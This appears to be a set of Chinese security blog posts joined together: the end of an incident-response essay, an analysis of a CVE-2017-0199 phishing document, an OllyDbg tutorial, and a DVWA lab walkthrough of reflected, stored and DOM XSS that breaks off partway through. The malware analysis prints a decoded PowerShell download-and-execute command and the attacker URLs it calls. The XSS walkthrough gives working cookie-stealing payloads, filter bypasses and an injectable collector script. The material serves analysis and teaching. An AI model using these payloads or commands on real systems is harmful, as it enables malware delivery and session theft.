在事件调查的过程中,通常需要法律顾问,通信团队,甚至是某些特殊用户的参与。除此之外,安全应急团队还需要重新审查自己的开发细则以及合同条款,并弄清楚开发团队在开发过程中有哪些未尽的“职责”,并调查所有未授权的访问尝试。与此同时,安全工程师将需要进行各种单元测试,并避免将来出现类似的安全问题。

应对方案

每一个企业和组织都应该根据自己的情况来设计出合适的安全应急响应方案以及取证分析方案,否则历史很可能会重演。需要注意的是,如果不对自己的基础设施(例如代码和服务器等等)进行定期技术检测的话,你很可能会因为其中潜在的安全问题而陷入困境。

总结

今年的情况其实跟去年没多大区别,但这件事情本身就应该是一次“教训”。既然去年已经出现过类似的情况或者发生了类似的事情了,那为什么今年还会“历史重演”呢?因此,我们应该将注意力放在更加有效的风险管理方案身上。

如果我们更愿意和大家分享手中的信息和资源,我们将能够构建出更多的威胁模型,并将它们应用到各类场景之中。

我之所以写这篇文章,主要是因为我发现整个行业在处理安全风险的路上有些偏离方向了,因此我在2018年即将到来的时候,在这里跟大家探讨一下未来的应对策略。

* 参考来源:medium,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

*本文作者:kczwa1,本文属 FreeBuf 原创奖励计划,未经许可禁止转载

近日从客户处捕获一枚邮件附件中的可疑word样本,以下是扫描结果,检测率貌似不高。

CVE 2017-0199漏洞利用的新姿势

CVE 2017-0199漏洞利用的新姿势

手动分析吧。

文件md5:0b16b255918264667a9f03e0b9f45167

1.攻击流程的第一步

打开该word样本没有给任何提示该就直接联网获取文件

CVE 2017-0199漏洞利用的新姿势

windbg挂着找了半天,一直没发现这个链接动作是怎么触发的。后来在发现 document.xml.rels里面找到一个链接到外部的oleobject对象,指向地址https://klotshop.tech/images/maps/tisty.doc

CVE 2017-0199漏洞利用的新姿势

在document.xml里找到该oleobject的属性。

                CVE 2017-0199漏洞利用的新姿势 

通过这个oleobject ,office可以链接外部的office文档,当然这个oleobject属性也可以添加script monker ,soap monker标签来触发0199和8579等office漏洞, 目前也发现了用使用这样的方法来攻击的样本一批样本。                     

2.攻击流程的第二步

Tisty.doc下载下来后发现是个rtf格式的文档,Vt上一看,只有几个厂商对这个文件检测,也就是说如果用这个文件来做攻击的话国内的杀软都会漏过去?

CVE 2017-0199漏洞利用的新姿势

文件头如下:

CVE 2017-0199漏洞利用的新姿势

Objaulink objupdate,标准的0199的线索,继续往下找,:

CVE 2017-0199漏洞利用的新姿势

Urlmonker 的标识符E0C9EA79F9BACE118C8200AA004BA90B,病毒作者加入了各种符号混淆,目的就是绕过网上公开的那些yara规则,继续往下:

CVE 2017-0199漏洞利用的新姿势

url的地址,为了绕过yara检测,也是加入了各种符号隔开有意义的字符段,不过看起来效果很好,vt上对这个文档的检测确实很少。

CVE 2017-0199漏洞利用的新姿势

url解出来后是https://klotshop.tech/images/maps/nin.hta,一个hta文件,由于0199漏洞的存在,该hta文件会被直接执行。

3.恶意攻击流程的第三步:

nin.hta文件内容如下:

CVE 2017-0199漏洞利用的新姿势

解密后如下:

Dim  a

dIM  b

SET   a       =       CreateObject("WScript.Shell")     

b       =       " pOWershELl.ExE -EX bYpASs -Nop -whIDDEn iNvOKE-WEbrEQuESt -uri 'https://longstop.club/Smileys/kina/dlnd.php'-OUtfilE '%APPdATa%\kalat.exe' ; InvOKe-iTem '%appdATa%\kalat.exe'"      

 

a.rUN       "\"C:\\Windows\\system32\\cmd.exe\"\"/c\"",   0      

SET   a       =       nOtHINg

self.CloSE

 4.攻击流程的第四步:

第三步中的hta文件主要功能就是用powershell去访问https://longstop.club/Smileys/kina/dlnd.php并将返回的内容保存为%APPdATa%\kalat.exe并执行。

该链接会302到另外一个地址。

https://fex.net/get/177440922804/108291971

CVE 2017-0199漏洞利用的新姿势

然后又会继续302到https://fs5.fex.net/get/177440922804/108291971/a4f874ea/fate.exe

https://fex.net/是一个类似网上云盘的网站,可以让用户随意上传文件。

最后会下载到这个exe

 5.攻击流程的第五步:

fate.exe,会释放一个autoit脚本加载器和一个加密的autoit脚本,以及一些其他的文件,并调用加载器加载该autoit脚本。

Autoit脚本加载器是干净的官方版本,不会被杀,而加密的脚本本身不是可执行格式,因此也不会被杀,也就是这个文件释放出来的所有文件都不会被查杀,作者也是试图通过这种手段来免杀,不过效果看起来不太好,vt信息显示这个文件本身被大多数厂商检测。

CVE 2017-0199漏洞利用的新姿势

综合上面的分析,第二步中的恶意文档被查杀的概率很低,第一步中的文档次之,而最后一步中的恶意软件检出率非常高,可以看到钓鱼攻击中使用各种带变形后的nday的文档而非exe来绕过杀软的静态检测还是很奏效,当然最后这个真正实施恶意行为的pe免杀实在做的很差。

*本文作者:kczwa1,本文属 FreeBuf 原创奖励计划,未经许可禁止转载

OllyDbg简称OD,是一款具有可视化界面的用户模式调试器,结合了动态调试和静态分析,具有强大的反汇编引擎,能够识别数千个被C和Windows所使用的函数,并能将其参数注释出,能自动分析函数过程,循环语句,代码中的字符串等,非常容易上手,并且对异常的跟踪处理相当灵活,这些特性使得OllyDbg成为调试ring3级程序的首选工具,爱好者不断地修改,扩充OllyDbg,脚本执行能力和开发插件接口使得其变得越来越强大。

下面是OD的界面:

image.png

我们先对它的重要部分进行编号,然后详细介绍,

image.png

(1)首先我们介绍一下第一部分:

也就是这一部分:

image.png

使用OD打开目标程序后,OD会打开多个子窗口,单击各个标签按钮可以在各个子窗口之间切换,这些按钮依次对应Log窗口,Executable modules窗口,Memory窗口,Threads窗口,Windows窗口,Handles窗口,CPU窗口,Patches窗口,Call stack窗口,Breakpoints窗口,References窗口,Run trace窗口,Source窗口。

默认的当前窗口是CPU窗口,他在OD中是最重要的窗口,调试程序的绝大部分操作都要在这个窗口进行。他包含以下5个窗口:

1.反汇编窗口

2.寄存器面板

3.信息面板

4.数据面板

5.堆栈面板

这也是我们接下来将要介绍的2,3,4,5,6部分。


(2)CPU窗口的反汇编面板,也就是我们第2个标号的部分。

       反汇编面板窗口显示被调试程序的代码,它有4个列,分别是地址(address),机器码(hex dump),反汇编代码(disassembly),注释(comment)。最后一列注释栏显示相关API参数或运行简表,非常有用。

      address列:显示相对被单击地址的地址,再次双击返回到标准地址模式。

      hex dump列:设置或取消无条件断点,对应的快捷键是F2。

      disassembly列:条用汇编器,可直接修改汇编代码。

      comment列:允许增加或编辑注释,对应的快捷键是“;”键。


(3)寄存器面板窗口,也就是我们对应的第3个标号的地方.

       这里显示CPU各寄存器的值,支持浮点,MMX和3DNow!寄存器,可以单击鼠标右键或单击窗口标题切换显示寄存器的方式。


(4)信息面板窗口。

       动态跟踪时,显示与指令相关的各寄存器值,API函数调用提示和跳转提示信息。

image.png


(5)堆栈面板窗口。

       显示了堆栈的内容,即ESP指向地址的内容,堆栈窗口非常重要,各API函数和子程序等都利用它传递参数和变量等。

image.png


(6)数据面板窗口。

       以十六进制和字符方式显示文件在内存中的数据,要显示数据可点击鼠标右键“go to expression”命令或按“Ctrl+G”键打开地址窗口,输入地址。

image.png


OD常用快捷键:

    F2:设置断点,只要在光标定位的位置按F2键即可,在按一次F2键则会删除断点。

    F8:单步步过,每按一次这个键执行一条反汇编窗口中的一条指令,遇到call等子程序不进入其代码。

    F7:单步步入:功能同单步步过(F8)类似,区别是遇到call等子程序会进入其中,进入后首先会停留在子程序的第一条指令上。

    F4:运行到选定位置,作用就是直接运行到光标所在位置处暂停。

    F9:运行,按下这个键如果没有设置相应断点的话,被调试的程序将直接开始运行。

    ctrl+F9:执行到返回,此命令在执行到一个ret(返回指令)指令时暂停,常用于从系统部分返回到我们调试的程序部分。

    alt+F9:执行到用户代码,可用于从系统部分快速返回到我们调试的程序部分。

单步步入和单步步过:

F8在调试中用的很频繁,可以一句一句地单步执行汇编指令,遇到call指令不会跟进,而路过。

F7和F8功能键的主要差别就在于若遇到call,loop等指令,F8是路过,而F7是跟进去。

设置断点:

断点是调试器的一个重要功能,它能使程序中断在需要的地方,从而方便对其分析,常用的断点是INT3,其原理是ollydbg将断点处的代码设置为int3指令。

将光标移动到要设置断点的行,按F2键就可以设置了,也可以双击hex数据列。

设置断点可以让软件运行的时候停在设置断点的地方,以方便反复跟踪调试,当程序关闭时,ollydbg会将设置好的断点保存在UDD文件中,下次运行时还有效。

调试分析:

调试分析就是分析程序代码的意义,阅读这些代码时,首先要搞清楚各API函数的定义,还要弄明白那些汇编程序代码的具体含义。


本期就介绍到这里了,下一期我们开始讲解实战部分。

简介

这篇文章通过 dvwa 简单研究了三种类型的 xss,并且讲述了如何利用 xss 获取目标网站用户的 cookie。

dvwa反射型xss

测试环境

一台 win2003 虚拟机,ip 为 192.168.50.128,用wamp集成环境将dvwa搭在8080端口。

一台 win7 虚拟机,ip 为 192.168.50.150,用来接受漏洞网站的cookie,web由phpstudy搭建。

low级别

为了便于理解,代码如下:

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?> 

可以看出没有任何过滤,直接将用户提交的GET参数name输出到页面,我们可以输入payload。

<script>alert("xss")</script>

来验证xss的存在。

1.PNG

接下来是利用xss获取用户cookie,由于script标签可以加载远程服务器的javascript代码并且执行,所以我们在win7的服务器下编写cookie.js。

document.write("<form action='http://192.168.50.150/dvwaxss/steal.php' name='exploit' method='post' style='display:none'>");
document.write("<input type='hidden' name='data' value='"+document.cookie+"'>");
document.write("</form>");
document.exploit.submit();

这段js代码的作用是在页面中构造一个隐藏表单和一个隐藏域,内容为当前的cookie,并且以post方式发送到同目录下的steal.php。

<?php
header("content-type:text/html;charset=utf-8");
$conn=mysql_connect("localhost","root","root");
mysql_select_db("dvwacookie",$conn);
if(isset($_GET['data']))
{
    $sql="insert into low(cookie) values('".$_GET['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else if(isset($_POST['data']))
{
    $sql="insert into low(cookie) values('".$_POST['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else
{
    $sql="select * from low";
    $result=mysql_query($sql,$conn);
    while($row=mysql_fetch_array($result))
    {
        echo "偷取的cookie:".$row[1]."</br>";
    }
    mysql_close();
}
?>

steal.php将我们获取到的cookie存到数据库中。

create database dvwacookie;
use dvwacookie;
create table low(id int not null auto_increment primary key,cookie varchar(100) not null);
create table medium(id int not null auto_increment primary key,cookie varchar(100) not null);
create table high(id int not null auto_increment primary key,cookie varchar(100) not null);

接下来我们在有xss漏洞的位置插入。

<script src=http://192.168.50.150/dvwaxss/cookie.js></script>

相当于构造链接。

http://192.168.50.128:8080/DVWA-master/vulnerabilities/xss_r/?name=<script src=http://192.168.50.150/dvwaxss/cookie.js></script>

将链接发给该网站下的受害者,受害者点击时就会加载远程服务器(这里是win7)的cookie.js脚本,这里要提一点,用src加载远程服务器的js脚本,那么js的源就会变成加载它的域,从而可以读取该域的数据。

这时,win7的数据库就接收到了cookie。

通过DVWA学习XSS

medium级别

代码如下:

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

可看出代码将我们输入内容中的<script>标签替换为了空,但是str_replace这个函数是不区分大小写的,而且只替换一次,所以我们构造payload。

<scr<script>ipt>alert("xss")</script>
<SCRIPT>alert("xss")</SCRIPT>

均可以弹框,同样的,插入。

<scr<script>ipt src=http://192.168.50.150/dvwaxss/cookie.js></script>
<SCRIPT src=http://192.168.50.150/dvwaxss/cookie.js></SCRIPT>

加载远程脚本steal.php。

<?php
header("content-type:text/html;charset=utf-8");
$conn=mysql_connect("localhost","root","root");
mysql_select_db("dvwacookie",$conn);
if(isset($_GET['data']))
{
    $sql="insert into medium(cookie) values('".$_GET['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else if(isset($_POST['data']))
{
    $sql="insert into medium(cookie) values('".$_POST['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else
{
    $sql="select * from medium";
    $result=mysql_query($sql,$conn);
    while($row=mysql_fetch_array($result))
    {
        echo "偷取的cookie:".$row[1]."</br>";
    }
    mysql_close();
}
?>

将获取的cookie加入medium表,结果如下:

通过DVWA学习XSS

high 级别

代码如下:

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

发现添加了对大小写绕过的判断,而且根据正则表达式过滤,提交内容只要有script顺序出现的字母都一律过滤掉,只是过滤了script标签,但是有一些javascript事件后仍然能执行javascript代码,构造payload。

<img src=# onerror=alert("xss")>

通过加载一个不存在的图片出错出发javascript onerror事件,继续弹框,证明出来有xss,这样的payload还有很多。

通过DVWA学习XSS

在xss的位置插入。

<img src=# onerror=(location.href="http://192.168.50.150/dvwaxss/steal.php?data="+document.cookie)>

通过触发onerror事件跳转链接到远程服务器的steal.php,同时以GET带上当前的cookie,但是输入被过滤了。

通过DVWA学习XSS

只剩下Hello .cookie)>,what!?不应该啊,在这被坑了好久,终于发现问题所在。

<img SrC=# oneRror=(locatIon.href="httP://192.168.50.150/dvwaxss/steal.php?data="+documenT.cookie)>

注意观察我们所插入的代码,我表明的大写部分,竟然构成了一个script,所以符合代码的正则,从而过滤掉了,这实在是坑啊……那我们将插入代码中的i进行html编码。

<img src=# onerror=(locat&#x69;on.href="http://192.168.50.150/dvwaxss/steal.php?data="+document.cookie)>

我们提交这段代码后绕过了过滤,然后浏览器进行了html解码,然后就是之前一样的过程,触发onerror事件,对远程服务器的steal.php发送我们的cookie steal.php。

<?php
header("content-type:text/html;charset=utf-8");
$conn=mysql_connect("localhost","root","root");
mysql_select_db("dvwacookie",$conn);
if(isset($_GET['data']))
{
    $sql="insert into high(cookie) values('".$_GET['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else if(isset($_POST['data']))
{
    $sql="insert into high(cookie) values('".$_POST['data']."');";
    $result=mysql_query($sql,$conn);
mysql_close();
}
else
{
    $sql="select * from high";
    $result=mysql_query($sql,$conn);
    while($row=mysql_fetch_array($result))
    {
        echo "偷取的cookie:".$row[1]."</br>";
    }
    mysql_close();
}
?>

远程服务器接收到了cookie的信息。

通过DVWA学习XSS

dvwa存储型xss

存储型xss的不同之处在于它可以将用户构造的有害输入直接存储起来,不需要攻击者构造链接诱使受害人点击触发,而是目标网站的用户只要访问插入恶意代码的网站就能触发,相比较反射型xss更为隐蔽,危害更大,受害者也会更多,在这我将介绍几种更为隐蔽的方式获取用户cookie。

测试环境

同上次的一样,一台win2003虚拟机,ip为192.168.50.128,用wamp集成环境将dvwa搭在8080端口。

一台win7虚拟机,ip为192.168.50.150,用来接受漏洞网站的cookie,web由phpstudy搭建。

low级别

为了便于理解,代码如下

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

可以看出对有害输入没有任何过滤,直接将用户提交的内容插入数据库,输入点在两个输入框都有,但是后面的几种难度都对Message域的输入内容进行了htmlspecialchars转义,为了和后面的一致,我们将payload插入Name域测试xss,在此之前用firebug将Name输入框的maxlength改为600,一开始为10,然后输入payload。

Name:<script>alert("xss")</script>
Message:testxss

通过DVWA学习XSS

简单的一个弹框,弹框可见我们的payload已经储存到了数据库,只要访问该页面的用户都会触发xss。

通过DVWA学习XSS

下面我们编写payload偷取该网站下用户的cookie,构造payload。

Name:<script src="http://192.168.50.150/dvwaxss/cookie.js"></script>
Message:testxss

用script标签加载远程服务器上我们编写的获取cookie的js代码,上一节我们编写的是下面的代码。

document.write("<form action='http://192.168.50.150/dvwaxss/steal.php' name='exploit' method='post' style='display:none'>");
document.write("<input type='hidden' name='data' value='"+document.cookie+"'>");
document.write("</form>");
document.exploit.submit();

这段js代码的作用是在页面中构造一个隐藏表单和一个隐藏域,内容为当前的cookie,并且以post方式发送到同目录下的steal.php,但是这种方式有个缺点就是将cookie发送到steal.php后他会刷新页面跳转到steal.php,这样的做法难免会引起用户的怀疑,我们需要用一种更为隐蔽的方式,这里我们用ajax技术,一种异步的javascript,在不刷新页面的前提下神不知鬼不觉的将用户的cookie发送到steal.php。

var url = "http://192.168.50.150/dvwaxss/steal.php";
var postStr = "data="+document.cookie;
var ajax = null;
if (window.XMLHttpRequest) {
    ajax = new XMLHttpRequest();
} else if (window.ActiveXObject) {
    ajax = new ActiveXObject("Microsoft.XMLHTTP");
} else {
    ajax=null;
}
ajax.open("POST", url, true);//true代表异步
ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajax.send(postStr);

上面编写的代码创建了一个ajax对象,构造了一个post请求将用户的cookie作为参数发送到了http://192.168.50.150/dvwaxss/steal.php,也就是当前目录下的steal.php。

<?php
header("content-type:text/html;charset=utf-8");
$conn=mysql_connect("localhost","root","root");
mysql_select_db("dvwacookie",$conn);
if(isset($_GET['data']))
{
    $sql="insert into low(cookie) values('".$_GET['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else if(isset($_POST['data']))
{
    $sql="insert into low(cookie) values('".$_POST['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else
{
    $sql="select * from low";
    $result=mysql_query($sql,$conn);
    while($row=mysql_fetch_array($result))
    {
        echo "偷取的cookie:".$row[1]."</br>";
    }
    mysql_close();
}
?>

steal.php将我们获取到的cookie存到数据库中,我们先删除目标网站数据中之前我们插入的payload,然后输入。

Name:<script src="http://192.168.50.150/dvwaxss/cookie.js"></script>
Message:send cookie use ajax

通过DVWA学习XSS

用src加载远程服务器的js脚本,那么js就是该网站所信任的,那么js的源就会变成加载它的域,从而可以读取该域的数据,比如用户cookie,我们将请求提交后可以看到当前页面将http://192.168.50.150/dvwaxss/cookie.js加载了进来。

通过DVWA学习XSS

然后观察firebug的javascript控制台,看到

已拦截跨源请求:同源策略禁止读取位于 http://192.168.50.150/dvwaxss/steal.php 的远程资源。(原因:CORS 头缺少 'Access-Control-Allow-Origin')

通过DVWA学习XSS

这是因为ajax严格遵从同源策略,当前加载cookie.js的域为http://192.168.50.128:8080,所以ajax不能读取不同域http://192.168.50.150下的数据,但是cookie已经被发送到了http://192.168.50.150域,steal.php已经将偷取到的cookie存放在了数据库中,而且页面没有刷新,很隐蔽。

通过DVWA学习XSS

还有一种方式,为了更好的兼容浏览器,我们可以使用juery ajax 删除目标网站之前的payload,输入

Name:<script src="http://cdn.static.runoob.com/libs/jquery/1.10.2/jquery.min.js"></script><script src="http://192.168.50.150/dvwaxss/cookie.js"></script>
Message:send cookie use juery ajax

通过DVWA学习XSS

使用juery前要先<script src="http://cdn.static.runoob.com/libs/jquery/1.10.2/jquery.min.js"></script>引入
由于dvwa中guestbook的name字段有长度限制,为了实验效果,我们用phpmyadmin将name列的varchar改为1000
服务端juery代码

$(document).ready(function(){
    $.post("http://192.168.50.150/dvwaxss/steal.php",{data:document.cookie});
}
);

上面的代码同样的构造post请求将cookie作为post参数发送给steal.php
然后提交我们的输入
可见页面加载了我们的cookie.js

通过DVWA学习XSS

同时ajax也执行了

通过DVWA学习XSS

cookie也被偷取到了

通过DVWA学习XSS

medium级别

代码如下

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

主要过滤的地方有

$message = trim( $_POST[ 'mtxMessage' ] );
$name    = trim( $_POST[ 'txtName' ] );    
$message = htmlspecialchars( $message );
$name = str_replace( '<script>', '', $name );

对mtxMessage进行了htmlspecialchars转义,但是没有转义txtName,只是把<script>替换为了空,和之前的反射型xss一样,转化为大写<SCRIPT>或者<scr<script>ipt>绕过即可,下面的和low级别利用方式一样,这里不再重复

high 级别

代码如下

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

触发点还是在Name域,和反射型xss high级别的过滤方法一样

$name    = trim( $_POST[ 'txtName' ] );
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

用img标签绕过即可,有不明白的地方参考上一节反射型,编写payload验证xss的存在,输入

Name:<img src=# onerror="alert('xss')">
Message:test xss

通过DVWA学习XSS

弹框,证明有xss的存在

通过DVWA学习XSS

接下来编写payload获取用户cookie,用firebug将maxlength改为1000,再输入之前先将之前插入数据库的payload删除,然后输入

Name:<img src=# onerror='var url="http://192.168.50.150/dvwaxss/steal.php";var postStr="data="+document.cook&#x69;e;var ajax=null;&#x69;f(w&#x69;ndow.XMLHttpRequest){ajax=new XMLHttpRequest();}else &#x69;f(w&#x69;ndow.Act&#x69;veXObject){ajax=new Act&#x69;veXObject("M&#x69;crosoft.XMLHTTP");}else{ajax=null;}ajax.open("POST", url, true);ajax.setRequestHeader("Content-Type", "appl&#x69;cat&#x69;on/x-www-form-urlencoded");ajax.send(postStr);'>
Message:send cookie use ajax

直接在onerror后使用ajax将当前网站用户的cookie用ajax发送到http://192.168.50.150/dvwaxss/steal.php,为了绕过过滤对所有”i”这个字母进行了html编码,为&#x69;
提交payload
查看元素

通过DVWA学习XSS

查看firebug控制台,有

已拦截跨源请求:同源策略禁止读取位于 http://192.168.50.150/dvwaxss/steal.php 的远程资源。(原因:CORS 头缺少 'Access-Control-Allow-Origin'),可以看出ajax已经执行,将cookie发送到http://192.168.50.150/dvwaxss/steal.php 

 
通过DVWA学习XSS

偷取到的cookie被steal.php存入数据库 

通过DVWA学习XSS

另外一种方式是利用juery ajax

编写payload

Name:<img src=# onerror="var a=document.createElement('scr&#x69;pt'); a.setAttr&#x69;bute('src', 'http://cdn.stat&#x69;c.runoob.com/l&#x69;bs/jquery/1.10.2/jquery.m&#x69;n.js'); document.getElementsByTagName('head')[0].appendCh&#x69;ld(a);var b= document.createElement('scr&#x69;pt'); b.setAttr&#x69;bute('src','http://192.168.50.150/xss_s/cook&#x69;e.js');
document.getElementsByTagName('head')[0].appendCh&#x69;ld(b);">
Message:send cookie use juery ajax

通过DVWA学习XSS

同样的为了绕过过滤对所有的字母”i”进行html编码
onerror里的js代码是利用javascript DOM操作动态创造script标签,然后用setAttribute给src赋值,分别加载http://cdn.static.runoob.com/libs/jquery/1.10.2/jquery.min.jshttp://192.168.50.150/xss_s/cookie.js
http://192.168.50.150/xss_s/cookie.js代码为

$(document).ready(function(){
$.post("http://192.168.50.150/dvwaxss/steal.php",{data:document.cookie});
}
);

和上面的一样 ,提交payload   

通过DVWA学习XSS

javascript DOM操作已经在页面重新加载时在head标签下创造了两个script标签去加载js脚本 

通过DVWA学习XSS

cookie已经发送给了http://192.168.50.150/dvwaxss/steal.php 

通过DVWA学习XSS

被steal.php存入数据库 

通过DVWA学习XSS

dvwa DOM型XSS

dom xss

xss主要分为三种,前面通过了dvwa分别研究了反射型和存储型两种xss,这次写篇有关dom xss的文章,dom xss和前面的两种xss的区别主要是:dom xss的产生并没有和后台服务器产生交互,而是通过浏览器的dom树解析产生的,下面来学习一下这种xss。

测试环境

一台win2003虚拟机,ip为192.168.50.128,用wamp集成环境将dvwa搭在8080端口
一台win7虚拟机,ip为192.168.50.156,用来接受漏洞网站的cookie,web由phpstudy搭建

low级别

服务器端没有任何php代码,查看前端页面源代码,处理用户输入的只有前端的js代码:

<script>
    if (document.location.href.indexOf("default=") >= 0) {
    var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
    document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
    document.write("<option value='' disabled='disabled'>----</option>");
    }

    document.write("<option value='English'>English</option>");
    document.write("<option value='French'>French</option>");
    document.write("<option value='Spanish'>Spanish</option>");
    document.write("<option value='German'>German</option>");
</script>

我们从选择列表选择的值赋值给default附加到url后,这段js代码将url中default的值赋给option标签的value属性节点和文本节点
构造payload:http://192.168.50.128:8080/DVWA-master/vulnerabilities/xss_d/?default=%3Cscript%3Ealert(%22xss%22)%3C/script%3E,弹框证明有xss的存在,浏览器在解析html dom树时就会触发js弹框代码   

通过DVWA学习XSS

接下来利用dom xss获取网站的cookie,构造连接   

http://192.168.50.128:8080/DVWA-master/vulnerabilities/xss_d/?default=%3Cscript%20src=http://192.168.50.156/dvwaxss/cookie.js%3E%3C/script%3E
用script标签加载远程服务器上我们编写的获取网站用户cookie的js代码,和之前的一样利用ajax

通过DVWA学习XSS

var url = "http://192.168.50.156/dvwaxss/steal.php";
var postStr = "data="+document.cookie;
var ajax = null;
if (window.XMLHttpRequest) {
    ajax = new XMLHttpRequest();
} else if (window.ActiveXObject) {
    ajax = new ActiveXObject("Microsoft.XMLHTTP");
} else {
    ajax=null;
}
ajax.open("POST", url, true);//true代表异步
ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajax.send(postStr);

上面编写的代码创建了一个ajax对象,构造了一个post请求将用户的cookie作为参数发送到了http://192.168.50.156/dvwaxss/steal.php,也就是当前目录下的steal.php

<?php
header("content-type:text/html;charset=utf-8");
$conn=mysql_connect("localhost","root","root");
mysql_select_db("dvwacookie",$conn);
if(isset($_GET['data']))
{
    $sql="insert into low(cookie) values('".$_GET['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else if(isset($_POST['data']))
{
    $sql="insert into low(cookie) values('".$_POST['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else
{
    $sql="select * from low";
    $result=mysql_query($sql,$conn);
    while($row=mysql_fetch_array($result))
    {
        echo "偷取的cookie:".$row[1]."</br>";
    }
    mysql_close();
}
?>

steal.php将我们获取到的cookie存到数据库中
可以看到数据库已经接收到了网站用户的cookie   

通过DVWA学习XSS

mark

同样的还可以使用juery ajax,构造连接

http://192.168.50.128:8080/DVWA-master/vulnerabilities/xss_d/?default=%3Cscript%20src=%22http://cdn.static.runoob.com/libs/jquery/1.10.2/jquery.min.js%22%3E%3C/script%3E%3Cscript%20src=http://192.168.50.156/dvwaxss/cookie.js%3E%3C/script%3E

代码如下

$(document).ready(function(){
$.post("http://192.168.50.156/dvwaxss/steal.php",{data:document.cookie});
}
);

通过DVWA学习XSS
通过DVWA学习XSS

同样接收到了cookie 

mark

medium级别

